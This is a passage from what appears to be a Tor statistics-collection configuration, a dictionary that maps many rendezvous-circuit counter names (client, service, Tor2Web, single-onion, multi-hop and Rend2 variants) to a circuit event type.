'RendUClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2CircuitCount' : { CIRCUIT_EVENT },
'Rend2CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2CircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2FailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend2ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
